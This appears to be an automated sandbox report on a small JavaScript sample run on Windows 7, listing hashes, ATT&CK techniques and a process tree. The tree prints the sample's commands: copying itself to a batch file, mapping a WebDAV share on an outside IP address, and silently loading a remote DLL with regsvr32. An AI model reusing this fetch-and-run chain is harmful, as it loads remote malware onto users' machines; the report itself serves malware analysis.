522ea0b16261055d505d2e62239a33954b13a5e703ef7fe6d3768e0eb091b0ec

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 09:26

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General

Target

155945859957932489.js
Size

5KB
MD5

02db4fd1a39cf089e9ed8e1c21a6d26e
SHA1

49812f6cbd0694b3a57d21e8c92c8370fcf1ac9e
SHA256

522ea0b16261055d505d2e62239a33954b13a5e703ef7fe6d3768e0eb091b0ec
SHA512

9d043d0eae5bd9cf5fdd717a6bdb71096a420deb30a2d698c4a3a284e7f2bd9b88fd30226978fd667062ffb324fb90ff7d311e2c841be938640d8ea1380f8bad
SSDEEP

96:E5SNRNRZ/viEAwNNq700XA4Nq7008xJBdUjObreVKLVE1T0rQjMDu80+7VGnDuse:QeR1qEpNN600XLN600QGAg76VHdFka

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2764	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 1544	2412	wscript.exe	30
PID 2412 wrote to memory of 1544	2412	wscript.exe	30
PID 2412 wrote to memory of 1544	2412	wscript.exe	30
PID 1544 wrote to memory of 2620	1544	cmd.exe	32
PID 1544 wrote to memory of 2620	1544	cmd.exe	32
PID 1544 wrote to memory of 2620	1544	cmd.exe	32
PID 1544 wrote to memory of 2764	1544	cmd.exe	33
PID 1544 wrote to memory of 2764	1544	cmd.exe	33
PID 1544 wrote to memory of 2764	1544	cmd.exe	33
PID 1544 wrote to memory of 2764	1544	cmd.exe	33
PID 1544 wrote to memory of 2764	1544	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\155945859957932489.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\155945859957932489.js" "C:\Users\Admin\\xnsbwi.bat" && "C:\Users\Admin\\xnsbwi.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2620
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\554.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\xnsbwi.bat

Filesize
5KB

MD5
02db4fd1a39cf089e9ed8e1c21a6d26e

SHA1
49812f6cbd0694b3a57d21e8c92c8370fcf1ac9e

SHA256
522ea0b16261055d505d2e62239a33954b13a5e703ef7fe6d3768e0eb091b0ec

SHA512
9d043d0eae5bd9cf5fdd717a6bdb71096a420deb30a2d698c4a3a284e7f2bd9b88fd30226978fd667062ffb324fb90ff7d311e2c841be938640d8ea1380f8bad

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